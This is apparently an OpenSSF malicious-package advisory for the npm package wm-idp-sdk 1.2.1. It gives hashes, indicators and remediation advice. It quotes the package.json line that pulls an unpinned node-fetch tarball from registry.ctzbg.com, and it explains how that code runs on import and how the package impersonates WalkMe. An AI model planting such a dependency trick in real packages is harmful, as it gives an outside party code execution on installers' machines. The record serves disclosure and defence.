MAL-2026-4808Malicious code in wm-idp-sdk (npm)
| 版本 | 状态 | 大小 | SHA-256 | 获取方式 |
|---|---|---|---|---|
1.2.1 | unavailable | — | — | — |
| Ecosystem | Package | Version |
|---|---|---|
| npm | wm-idp-sdk | * |
| npm | wm-idp-sdk | 1.2.1 |
{"schema_version":"1.7.4","id":"MAL-2026-4808","published":"2026-05-26T09:49:01Z","modified":"2026-08-25T17:27:32.757455826Z","aliases":["GHSA-hq9q-4jgc-997v"],"summary":"Malicious code in wm-idp-sdk (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d2acf2a0d94ec1d2bada80f3251f5ecbea64d78ffadcab2b997b9708c2ae71cd)\npackage.json declares `\"node-fetch\": \"https://registry.ctzbg.com/wm-idp-sdk/node-fetch\"` — a direct HTTPS tarball URL hosted on a domain (`registry.ctzbg.com`) unrelated to the SDK's apparent publisher (walkme.com). The URL has no version pin, no commit/tag, and no integrity hash, so every `npm install` fetches whatever bytes the operator of that host currently serves and installs them as the package's `node-fetch`. `dist/main.js` then `require('node-fetch')` at module top, so the fetched code executes in any process that imports `wm-idp-sdk`. The host owner can swap the payload at any time without republishing wm-idp-sdk, giving them an open code-execution channel into every installer. The package additionally impersonates Walkme's IDP SDK (description references `WM Identity Provider`, posts to `https://ec.walkme.com/event/log`, uses storage key `wm-ic-idp-end-user-info`) while being published by the personal npm account `hwmenv` rather than the `@walkme/*` scope — namespace-abuse intent that compounds the install-time-RCE risk.\n\n## Source: ghsa-malware (ca37741d2749ad24ad77568dd36df176b32e5092cfdd703ee73e2d0ef7b79958)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"wm-idp-sdk","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.2.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["registry.ctzbg.com"],"evidence_files":[{"path":"package.json","sha256":"1f1cf0776d43bb9d7a34539911c67368d7cccdc00455adbc76bcfb1b2ef5eb6a","tlsh":"78119239c9244c7325c82296ad2d1253b5128c1b48a4bc0cb7c7162c8f1e1bf14fcaae"}],"package_integrity":[{"filename":"wm-idp-sdk-1.2.1.tgz","hashes":{"sha1":"33343547f90ba2de75c212ea9c19e6f33de484ca","sha512_sri":"sha512-cxP3MzHMeqfm0G2R9KQYM4U4ILVMiWNWtIJKkNUACxHxGzmlYOnF5riiFA2biYs3dWZ6wp6aBA8iREctpLh66w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/wm-idp-sdk/v/1.2.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hq9q-4jgc-997v"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-004887","import_time":"2026-05-26T13:32:45.393430056Z","modified_time":"2026-05-26T09:49:02Z","sha256":"88f2533b11955d8b97d811feb55dc9bd7f1ebe2f8811ae2724cf152b987662db","source":"amazon-inspector","versions":["1.2.1"]},{"id":"IN-MAL-2026-004886","import_time":"2026-05-26T13:32:45.327658936Z","modified_time":"2026-05-26T09:49:01Z","sha256":"d2acf2a0d94ec1d2bada80f3251f5ecbea64d78ffadcab2b997b9708c2ae71cd","source":"amazon-inspector","versions":["1.2.1"]},{"id":"GHSA-hq9q-4jgc-997v","import_time":"2026-08-25T17:25:28.263439029Z","modified_time":"2026-08-25T16:57:20Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"ca37741d2749ad24ad77568dd36df176b32e5092cfdd703ee73e2d0ef7b79958","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0